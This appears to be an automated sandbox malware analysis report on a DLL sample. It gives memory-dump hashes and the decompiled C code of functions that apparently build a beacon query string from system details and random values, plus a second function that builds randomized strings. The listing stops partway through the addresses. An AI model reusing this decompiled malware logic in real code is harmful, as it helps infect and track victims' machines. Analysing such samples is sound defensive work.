                  • Instruction Fuzzy Hash: AF2186769002049FCB54DF68C8809ABBBA9FF49350B49C1A9DE599B245DB30F919CBE0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5C140 Relevance: .1, Instructions: 76COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                  • Instruction ID: c17f5ac10553e6040840332941f08d26b4912fcf0a5c330ad3157e91532d316c
                  • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                  • Instruction Fuzzy Hash: ED115EB72C60C143E200AD3DC8B47B7B797EBCD22D7B84375D0518BE54D22391619901
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02B912C9 Relevance: .0, Instructions: 31COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000000.00000002.776951148.0000000002B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2b90000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a24434dc03577301303872f3cd2f9d32f5d6cb418a8a76797b8cab2b08d0bac9
                  • Instruction ID: 75f5ed8640a2ec02cfdaadb322cfcaf675da9d7de36797369b581dad28af0157
                  • Opcode Fuzzy Hash: a24434dc03577301303872f3cd2f9d32f5d6cb418a8a76797b8cab2b08d0bac9
                  • Instruction Fuzzy Hash: 05F0F43660450BEFDF04CB89D540AADB7B6FB94364F20C1A2D009A7600D330AA96AF80
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB61FD6 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 51fc759373c73dce47f32fa5c7d154d7a19b676ff5f826be801471c7cdf75a86
                  • Instruction ID: 7805541d8e2397c69efe0b9c54f5ecb5026083489b35a4d86aec84d8d397aa53
                  • Opcode Fuzzy Hash: 51fc759373c73dce47f32fa5c7d154d7a19b676ff5f826be801471c7cdf75a86
                  • Instruction Fuzzy Hash: CCE08C72912268EBCB14CB89C904E8AF3ECEB44B44B15459AB501D3A00D270DE00C7C0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5FDBC Relevance: .0, Instructions: 12COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c5ce6488beb6dbe4d05132a74f4b52f2f8d656fae3c732b399a6c165c1860447
                  • Instruction ID: 7bd3769d1bf676a3cd7d1e4bc1033d66134e10f0fa35cec2104d97f4dacb0014
                  • Opcode Fuzzy Hash: c5ce6488beb6dbe4d05132a74f4b52f2f8d656fae3c732b399a6c165c1860447
                  • Instruction Fuzzy Hash: 12C08C35002DD446DF058D11C2B03A87364F38179EFD4048CC4038BF81C71E9887D702
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C52B91 Relevance: 37.8, APIs: 25, Instructions: 278memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 76%
                  			E02C52B91(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t89;
				void* _t92;
				intOrPtr _t96;
				intOrPtr _t100;
				intOrPtr* _t102;
				int* _t108;
				int* _t118;
				char** _t120;
				char* _t121;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr* _t132;
				intOrPtr _t135;
				intOrPtr _t139;
				int _t142;
				intOrPtr _t144;
				int _t147;
				intOrPtr _t148;
				int _t151;
				void* _t152;
				intOrPtr _t166;
				void* _t168;
				int _t169;
				void* _t170;
				void* _t171;
				long _t172;
				intOrPtr* _t173;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr* _t178;
				char** _t181;
				char** _t183;
				char** _t184;
				void* _t189;

				_t68 = __eax;
				_t181 =  &_v16;
				_t152 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t68 = GetTickCount();
				}
				_t69 =  *0x2c5a018; // 0xffd58d38
				asm("bswap eax");
				_t70 =  *0x2c5a014; // 0x3a87c8cd
				asm("bswap eax");
				_t71 =  *0x2c5a010; // 0xd8d2f808
				asm("bswap eax");
				_t72 =  *0x2c5a00c; // 0xeec43f25
				asm("bswap eax");
				_t73 =  *0x2c5a348; // 0xe7d5a8
				_t3 = _t73 + 0x2c5b5ac; // 0x74666f73
				_t169 = wsprintfA(_t152, _t3, 3, 0x3d18f, _t72, _t71, _t70, _t69,  *0x2c5a02c,  *0x2c5a004, _t68);
				_t76 = E02C5467F();
				_t77 =  *0x2c5a348; // 0xe7d5a8
				_t4 = _t77 + 0x2c5b575; // 0x74707526
				_t80 = wsprintfA(_t169 + _t152, _t4, _t76);
				_t183 =  &(_t181[0xe]);
				_t170 = _t169 + _t80;
				if(_a24 != 0) {
					_t148 =  *0x2c5a348; // 0xe7d5a8
					_t8 = _t148 + 0x2c5b508; // 0x732526
					_t151 = wsprintfA(_t170 + _t152, _t8, _a24);
					_t183 =  &(_t183[3]);
					_t170 = _t170 + _t151;
				}
				_t81 =  *0x2c5a348; // 0xe7d5a8
				_t10 = _t81 + 0x2c5b89e; // 0x3ad8e46
				_t153 = _t10;
				_t189 = _a20 - _t10;
				_t12 = _t81 + 0x2c5b246; // 0x74636126
				_t164 = 0 | _t189 == 0x00000000;
				_t171 = _t170 + wsprintfA(_t170 + _t152, _t12, _t189 == 0);
				_t85 =  *0x2c5a36c; // 0x3ad95b0
				_t184 =  &(_t183[3]);
				if(_t85 != 0) {
					_t144 =  *0x2c5a348; // 0xe7d5a8
					_t16 = _t144 + 0x2c5b8be; // 0x3d736f26
					_t147 = wsprintfA(_t171 + _t152, _t16, _t85);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t147;
				}
				_t86 = E02C5472F(_t153);
				_a32 = _t86;
				if(_t86 != 0) {
					_t139 =  *0x2c5a348; // 0xe7d5a8
					_t19 = _t139 + 0x2c5b8d0; // 0x736e6426
					_t142 = wsprintfA(_t171 + _t152, _t19, _t86);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t142;
					HeapFree( *0x2c5a2d8, 0, _a40);
				}
				_t87 = E02C51340();
				_a32 = _t87;
				if(_t87 != 0) {
					_t135 =  *0x2c5a348; // 0xe7d5a8
					_t23 = _t135 + 0x2c5b8c5; // 0x6f687726
					wsprintfA(_t171 + _t152, _t23, _t87);
					_t184 =  &(_t184[3]);
					HeapFree( *0x2c5a2d8, 0, _a40);
				}
				_t166 =  *0x2c5a3cc; // 0x3ad9600
				_t89 = E02C56B59( &E02C5A00A, _t166 + 4);
				_t172 = 0;
				_a16 = _t89;
				if(_t89 == 0) {
					L30:
					HeapFree( *0x2c5a2d8, _t172, _t152);
					return _a44;
				} else {
					_t92 = RtlAllocateHeap( *0x2c5a2d8, 0, 0x800);
					_a24 = _t92;
					if(_t92 == 0) {
						L29:
						HeapFree( *0x2c5a2d8, _t172, _a8);
						goto L30;
					}
					E02C52915(GetTickCount());
					_t96 =  *0x2c5a3cc; // 0x3ad9600
					__imp__(_t96 + 0x40);
					asm("lock xadd [eax], ecx");
					_t100 =  *0x2c5a3cc; // 0x3ad9600
					__imp__(_t100 + 0x40);
					_t102 =  *0x2c5a3cc; // 0x3ad9600
					_t168 = E02C56675(1, _t164, _t152,  *_t102);
					asm("lock xadd [eax], ecx");
					if(_t168 == 0) {
						L28:
						HeapFree( *0x2c5a2d8, _t172, _a16);
						goto L29;
					}
					StrTrimA(_t168, 0x2c59280);
					_push(_t168);
					_t108 = E02C57563();
					_v12 = _t108;
					if(_t108 == 0) {
						L27:
						HeapFree( *0x2c5a2d8, _t172, _t168);
						goto L28;
					}
					_t173 = __imp__;
					 *_t173(_t168, _a8);
					 *_t173(_a4, _v12);
					_t174 = __imp__;
					 *_t174(_v4, _v24);
					_t175 = E02C56536( *_t174(_v12, _t168), _v20);
					_v36 = _t175;
					if(_t175 == 0) {
						_v8 = 8;
						L25:
						E02C563F6();
						L26:
						HeapFree( *0x2c5a2d8, 0, _v40);
						_t172 = 0;
						goto L27;
					}
					_t118 = E02C56F7D(_t152, 0xffffffffffffffff, _t168,  &_v24);
					_v12 = _t118;
					if(_t118 == 0) {
						_t178 = _v24;
						_v20 = E02C5597D(_t178, _t175, _v16, _v12);
						_t126 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t126 + 0x80))(_t126);
						_t128 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *((intOrPtr*)(_t178 + 4));
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						_t132 =  *_t178;
						 *((intOrPtr*)( *_t132 + 8))(_t132);
						E02C561DA(_t178);
					}
					if(_v8 != 0x10d2) {
						L20:
						if(_v8 == 0) {
							_t120 = _v16;
							if(_t120 != 0) {
								_t121 =  *_t120;
								_t176 =  *_v12;
								_v16 = _t121;
								wcstombs(_t121, _t121,  *_v12);
								 *_v24 = E02C5673A(_v16, _v16, _t176 >> 1);
							}
						}
						goto L23;
					} else {
						if(_v16 != 0) {
							L23:
							E02C561DA(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L26;
							} else {
								goto L25;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L20;
					}
				}
			}






























































                  0x02c52b91
                  0x02c52b91
                  0x02c52b95
                  0x02c52b9c
                  0x02c52ba6
                  0x02c52ba8
                  0x02c52ba8
                  0x02c52bb5
                  0x02c52bc0
                  0x02c52bc3
                  0x02c52bce
                  0x02c52bd1
                  0x02c52bd6
                  0x02c52bd9
                  0x02c52bde
                  0x02c52be1
                  0x02c52bed
                  0x02c52bfa
                  0x02c52bfc
                  0x02c52c02
                  0x02c52c07
                  0x02c52c12
                  0x02c52c14
                  0x02c52c17
                  0x02c52c1e
                  0x02c52c20
                  0x02c52c29
                  0x02c52c34
                  0x02c52c36
                  0x02c52c39
                  0x02c52c39
                  0x02c52c3b
                  0x02c52c40
                  0x02c52c40
                  0x02c52c48
                  0x02c52c4c
                  0x02c52c52
                  0x02c52c5d
                  0x02c52c5f
                  0x02c52c64
                  0x02c52c69
                  0x02c52c6c
                  0x02c52c71
                  0x02c52c7c
                  0x02c52c7e
                  0x02c52c81
                  0x02c52c81
                  0x02c52c83
                  0x02c52c8e
                  0x02c52c94
                  0x02c52c97
                  0x02c52c9c
                  0x02c52ca7
                  0x02c52ca9
                  0x02c52cb0
                  0x02c52cba
                  0x02c52cba
                  0x02c52cbc
                  0x02c52cc1
                  0x02c52cc7
                  0x02c52cca
                  0x02c52ccf
                  0x02c52cd9
                  0x02c52cdb
                  0x02c52cea
                  0x02c52cea
                  0x02c52cec
                  0x02c52cfa
                  0x02c52cff
                  0x02c52d01
                  0x02c52d07
                  0x02c52ee7
                  0x02c52eef
                  0x02c52efc
                  0x02c52d0d
                  0x02c52d19
                  0x02c52d1f
                  0x02c52d25
                  0x02c52eda
                  0x02c52ee5
                  0x00000000
                  0x02c52ee5
                  0x02c52d31
                  0x02c52d36
                  0x02c52d3f
                  0x02c52d50
                  0x02c52d54
                  0x02c52d5d
                  0x02c52d63
                  0x02c52d70
                  0x02c52d7d
                  0x02c52d83
                  0x02c52ecd
                  0x02c52ed8
                  0x00000000
                  0x02c52ed8
                  0x02c52d8f
                  0x02c52d95
                  0x02c52d96
                  0x02c52d9b
                  0x02c52da1
                  0x02c52ec3
                  0x02c52ecb
                  0x00000000
                  0x02c52ecb
                  0x02c52dab
                  0x02c52db2
                  0x02c52dbc
                  0x02c52dc2
                  0x02c52dcc
                  0x02c52dde
                  0x02c52de0
                  0x02c52de6
                  0x02c52eff
                  0x02c52eae
                  0x02c52eae
                  0x02c52eb3
                  0x02c52ebf
                  0x02c52ec1
                  0x00000000
                  0x02c52ec1
                  0x02c52df1
                  0x02c52df6
                  0x02c52dfc
                  0x02c52e07
                  0x02c52e12
                  0x02c52e16
                  0x02c52e1c
                  0x02c52e22
                  0x02c52e28
                  0x02c52e2b
                  0x02c52e31
                  0x02c52e34
                  0x02c52e39
                  0x02c52e3d
                  0x02c52e3d
                  0x02c52e4a
                  0x02c52e58
                  0x02c52e5d
                  0x02c52e5f
                  0x02c52e65
                  0x02c52e6b
                  0x02c52e6d
                  0x02c52e72
                  0x02c52e76
                  0x02c52e92
                  0x02c52e92
                  0x02c52e65
                  0x00000000
                  0x02c52e4c
                  0x02c52e51
                  0x02c52e94
                  0x02c52e98
                  0x02c52ea2
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c52ea2
                  0x02c52e53
                  0x00000000
                  0x02c52e53
                  0x02c52e4a

                  APIs
                  • GetTickCount.KERNEL32 ref: 02C52BA8
                  • wsprintfA.USER32 ref: 02C52BF5
                  • wsprintfA.USER32 ref: 02C52C12
                  • wsprintfA.USER32 ref: 02C52C34
                  • wsprintfA.USER32 ref: 02C52C5B
                  • wsprintfA.USER32 ref: 02C52C7C
                  • wsprintfA.USER32 ref: 02C52CA7
                  • HeapFree.KERNEL32(00000000,?), ref: 02C52CBA
                  • wsprintfA.USER32 ref: 02C52CD9
                  • HeapFree.KERNEL32(00000000,?), ref: 02C52CEA
                    • Part of subcall function 02C56B59: RtlEnterCriticalSection.NTDLL(03AD95C0), ref: 02C56B75
                    • Part of subcall function 02C56B59: RtlLeaveCriticalSection.NTDLL(03AD95C0), ref: 02C56B93
                  • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02C52D19
                  • GetTickCount.KERNEL32 ref: 02C52D2B
                  • RtlEnterCriticalSection.NTDLL(03AD95C0), ref: 02C52D3F
                  • RtlLeaveCriticalSection.NTDLL(03AD95C0), ref: 02C52D5D
                    • Part of subcall function 02C56675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566A0
                    • Part of subcall function 02C56675: lstrlen.KERNEL32(00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566A8
                    • Part of subcall function 02C56675: strcpy.NTDLL ref: 02C566BF
                    • Part of subcall function 02C56675: lstrcat.KERNEL32(00000000,00000000), ref: 02C566CA
                    • Part of subcall function 02C56675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,02C53ECE,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566E7
                  • StrTrimA.SHLWAPI(00000000,02C59280,?,03AD9600), ref: 02C52D8F
                    • Part of subcall function 02C57563: lstrlen.KERNEL32(03AD9BD0,00000000,00000000,00000000,02C53EF9,00000000), ref: 02C57573
                    • Part of subcall function 02C57563: lstrlen.KERNEL32(?), ref: 02C5757B
                    • Part of subcall function 02C57563: lstrcpy.KERNEL32(00000000,03AD9BD0), ref: 02C5758F
                    • Part of subcall function 02C57563: lstrcat.KERNEL32(00000000,?), ref: 02C5759A
                  • lstrcpy.KERNEL32(00000000,?), ref: 02C52DB2
                  • lstrcpy.KERNEL32(?,?), ref: 02C52DBC
                  • lstrcat.KERNEL32(?,?), ref: 02C52DCC
                  • lstrcat.KERNEL32(?,00000000), ref: 02C52DD3
                    • Part of subcall function 02C56536: lstrlen.KERNEL32(?,00000000,03AD9DD8,00000000,02C56F0A,03AD9FFB,43175AC3,?,?,?,?,43175AC3,00000005,02C5A00C,4D283A53,?), ref: 02C5653D
                    • Part of subcall function 02C56536: mbstowcs.NTDLL ref: 02C56566
                    • Part of subcall function 02C56536: memset.NTDLL ref: 02C56578
                  • wcstombs.NTDLL ref: 02C52E76
                    • Part of subcall function 02C5597D: SysAllocString.OLEAUT32(?), ref: 02C559B8
                    • Part of subcall function 02C561DA: RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  • HeapFree.KERNEL32(00000000,?), ref: 02C52EBF
                  • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C52ECB
                  • HeapFree.KERNEL32(00000000,?,?,03AD9600), ref: 02C52ED8
                  • HeapFree.KERNEL32(00000000,?), ref: 02C52EE5
                  • HeapFree.KERNEL32(00000000,?), ref: 02C52EEF
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Heap$Free$wsprintf$lstrlen$CriticalSectionlstrcat$lstrcpy$CountEnterLeaveTickTrim$AllocAllocateStringmbstowcsmemsetstrcpywcstombs
                  • String ID:
                  • API String ID: 1185349883-0
                  • Opcode ID: 84bfced08b0de8bfae75a5f70324e27b6be244f69e5d171a7666368f90359cfd
                  • Instruction ID: 994edd2a37fa703ef3d6b85235e9277201315d27a5ac8459df2e144697460e4f
                  • Opcode Fuzzy Hash: 84bfced08b0de8bfae75a5f70324e27b6be244f69e5d171a7666368f90359cfd
                  • Instruction Fuzzy Hash: 7BA18971900320AFC711EF65DC48F5A7BE8EF88758F450A28F849E7220DB31D9A5DB96
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB503E0 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 418COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$ArrayCurrentFindPathProcessSuffix
                  • String ID: HCmMzSChEUTJVQwioAMcFwAnqSjivrokb$uhIy$zGfGaNkGboBuTpaUZBHwjuQCbFRCER
                  • API String ID: 4264030338-339740683
                  • Opcode ID: c4363882cc54adcd915c7ddf12228d5c74d45ed2cd60f6b6e2d93da11785d977
                  • Instruction ID: ee988a8a7b4301cb0db9be7e57c48a346407fb5169e43d6edf80dfefe6c3927b
                  • Opcode Fuzzy Hash: c4363882cc54adcd915c7ddf12228d5c74d45ed2cd60f6b6e2d93da11785d977
                  • Instruction Fuzzy Hash: C3129971D09298CFDF14CFA4D890BEEBBB5AF15308F548199D0196BB84DB709A88CF91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB486CB Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 399COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • jdOAfgqquQafuIWrESfJSLOAIeOqu, xrefs: 6CB48C20
                  • RFfyxubnfMZdSHMyErRKchehSEtAStQdEQTa, xrefs: 6CB48D30
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$AttributesFile
                  • String ID: RFfyxubnfMZdSHMyErRKchehSEtAStQdEQTa$jdOAfgqquQafuIWrESfJSLOAIeOqu
                  • API String ID: 2056359302-2422673416
                  • Opcode ID: 431edf4dac62126b278b8712273c6102be20e777fd63daf1303f6e1585291000
                  • Instruction ID: a4e8da8a0ec1ae12afe699b5a50a5578c7df87b53f9b0ddbd6ee61ddb34767d1
                  • Opcode Fuzzy Hash: 431edf4dac62126b278b8712273c6102be20e777fd63daf1303f6e1585291000
                  • Instruction Fuzzy Hash: 35124D70D092A9CBDB15CF44C854BDDB7B9BF41308F0481DAD109AB688DBB55B88DF92
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5D890 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • IsInExceptionSpec.LIBVCRUNTIME ref: 6CB5D98D
                  • type_info::operator==.LIBVCRUNTIME ref: 6CB5D9AF
                  • ___TypeMatch.LIBVCRUNTIME ref: 6CB5DABE
                  • IsInExceptionSpec.LIBVCRUNTIME ref: 6CB5DB90
                  • _UnwindNestedFrames.LIBCMT ref: 6CB5DC14
                  • CallUnexpected.LIBVCRUNTIME ref: 6CB5DC2F
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
                  • String ID: csm$csm$csm
                  • API String ID: 2123188842-393685449
                  • Opcode ID: 5e0a3311c2b2e1110f1cb6f5d863dd57c030e080c40cdb76f0be49ce68ccd901
                  • Instruction ID: 718a35e940eed7d4bcadee65f8851843ca589a82a73eb5fb9c06bb488271feb3
                  • Opcode Fuzzy Hash: 5e0a3311c2b2e1110f1cb6f5d863dd57c030e080c40cdb76f0be49ce68ccd901
                  • Instruction Fuzzy Hash: FBB17975C04289DFCF05DFA4EA80A9EBBB5FF45318B94425AE8106BB11D331DA61CB92
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C57238 Relevance: 13.6, APIs: 9, Instructions: 145stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 43%
                  			E02C57238(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0x2c5a3dc; // 0x3ad9c80
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E02C56ABD();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E02C56ABD();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E02C542E9(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E02C542E9(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E02C5398D(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x2c5918c;
						}
						_t70 = E02C55FA1(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E02C533DC(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x2c5a348; // 0xe7d5a8
								_t102 =  *0x2c5a138; // 0x2c57ddd
								_t28 = _t105 + 0x2c5bd10; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E02C5398D(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x2c59190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E02C533DC(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E02C561DA(_v24);
								} else {
									_t92 =  *0x2c5a348; // 0xe7d5a8
									_t44 = _t92 + 0x2c5ba20; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E02C561DA(_v8);
						}
						E02C561DA(_v12);
					}
					E02C561DA(_v16);
				}
				return _v28;
			}



































                  0x02c5723e
                  0x02c57246
                  0x02c57249
                  0x02c57256
                  0x02c57259
                  0x02c57260
                  0x02c57267
                  0x02c5726a
                  0x02c57277
                  0x02c5727a
                  0x02c5727d
                  0x02c57282
